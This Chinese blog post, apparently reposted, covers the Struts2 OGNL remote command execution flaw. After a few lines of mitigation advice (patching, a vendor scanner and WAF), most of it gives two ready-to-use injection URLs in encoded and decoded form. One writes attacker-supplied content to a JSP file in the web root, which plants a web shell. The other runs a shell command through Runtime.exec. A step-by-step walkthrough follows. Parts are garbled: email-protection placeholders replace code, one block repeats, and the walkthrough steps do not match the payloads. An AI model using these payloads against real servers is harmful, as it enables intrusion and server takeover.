php strus2 漏洞攻击_Struts2远程命令执行漏洞防范与分析

防止Struts远程攻击命令解决方案是:

1.对使用struts2框架的jar包打补丁(升级到官方指定的版本)

2.或者修改对应jar中的ongl处理逻辑,然后编译打包替换旧的文件。

3.可使用安恒信息扫描器检测漏洞,运用安恒信息waf防护漏洞,安全点就只保留字母数字,其它的全部删除即可。

接下来我们看看如何利用strus漏洞远程执行命令进行攻击的方式

第一种攻击方式:新建一个文件,在文件中写入一下自己的东西加上&data=要写入文件he1p.jsp文件中的内容

要攻击的URL?class.classLoader.jarPath=(

%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D+new+java.lang.Boolean(false)%2C+

%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C+

%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C+

%23sb%3Dnew+java.lang.StringBuffer()%2C+%23sb.append(%23req.getRealPath("/"))%2C+

%23sb.append("he1p.jsp")%2C+%23fos%3Dnew+java.io.FileOutputStream(%23sb.toString())%2C+

%23fos.write(%23req.getParameter('data').getBytes())%2C+

%23darky%3D%40org.apache.struts2.ServletActionContext@getResponse().getWriter()%2C+

%23darky.println("suceessful")%2C+

%23darky.close()%2C+

%23fos.close()

)(aa)&x[(class.classLoader.jarPath)('aa')]

上面进行转义后的源码:

要攻击的URL?class.classLoader.jarPath=(

#context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false),+

#_memberAccess["allowStaticMethodAccess"]=true,+

#[email protected]@getRequest(),+

#sb=new+java.lang.StringBuffer(),+

#sb.append(#req.getRealPath("/")),+

#sb.append("he1p.jsp"),+

#fos=new+java.io.FileOutputStream(#sb.toString()),+

#fos.write(#req.getParameter('data').getBytes()),+

#[email protected]@getResponse().getWriter(),+

#darky.println("suceessful"),+

#darky.close(),+

#fos.close()

)(aa)&x[(class.classLoader.jarPath)('aa')]

第二种攻击方式,执行CMD命令

要攻击的URL地址?class.classLoader.jarPath=(

%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D+new+java.lang.Boolean(false)%2C+

%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C+

%23darky%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C+

%23myret%3D%40java.lang.Runtime%40getRuntime().exec("ls -la")%2C+

%23is%3D%23myret.getInputStream()%2C+

%23s%3D+new+java.util.Scanner(%23is).useDelimiter("\\A")%2C+

%23darky.println(%23s.next())%2C+

%23darky.close()

)(aa)&x[(class.classLoader.jarPath)('aa')]

上面代码进行转义后的源码

要攻击的URL地址?class.classLoader.jarPath=(

#context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false),+

#_memberAccess["allowStaticMethodAccess"]=true,+

#[email protected]@getResponse().getWriter(),+

#[email protected]@getRuntime().exec("ls -la"),+

#is=#myret.getInputStream(),+

#s=+new+java.util.Scanner(#is).useDelimiter("\\A"),+

#darky.println(#s.next()),+

#darky.close()

)(aa)&x[(class.classLoader.jarPath)('aa')]

要攻击的URL地址?class.classLoader.jarPath=(

#context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false),+

#_memberAccess["allowStaticMethodAccess"]=true,+

#[email protected]@getResponse().getWriter(),+

#[email protected]@getRuntime().exec("ls -la"),+

#is=#myret.getInputStream(),+

#s=+new+java.util.Scanner(#is).useDelimiter("\\A"),+

#darky.println(#s.next()),+

#darky.close()

)(aa)&x[(class.classLoader.jarPath)('aa')]

上面攻击代码执行步骤:

1.设置上下文denyMethodExecution=false 运行方法执行

2.

allowStaticMethodAccess=true 允许执行静态方法

3.mycmd="ls -la"定义我们的执行命令的变量

[email protected]@getRuntime().exec(\43mycmd)') (调用静态方法执行我们的变量)

5.mydat=new java.io.DataInputStream(\43myret.getInputStream())') 获取输入流(post)

6.myres=new data[51020];mydat.readfully(myres); 读取输入流

(5,6为了转换输入流的类型)

7.mystr=new java.lang.String(#myres) ;定义并赋值输入流

8.myout=org.apache.struts2.ServletActionContext@getResponse() ;得到repsonse的数据

9.myout.getWriter().println(#mystr) ;把response的数据打印到屏幕上。

你可能感兴趣的:(php,strus2,漏洞攻击)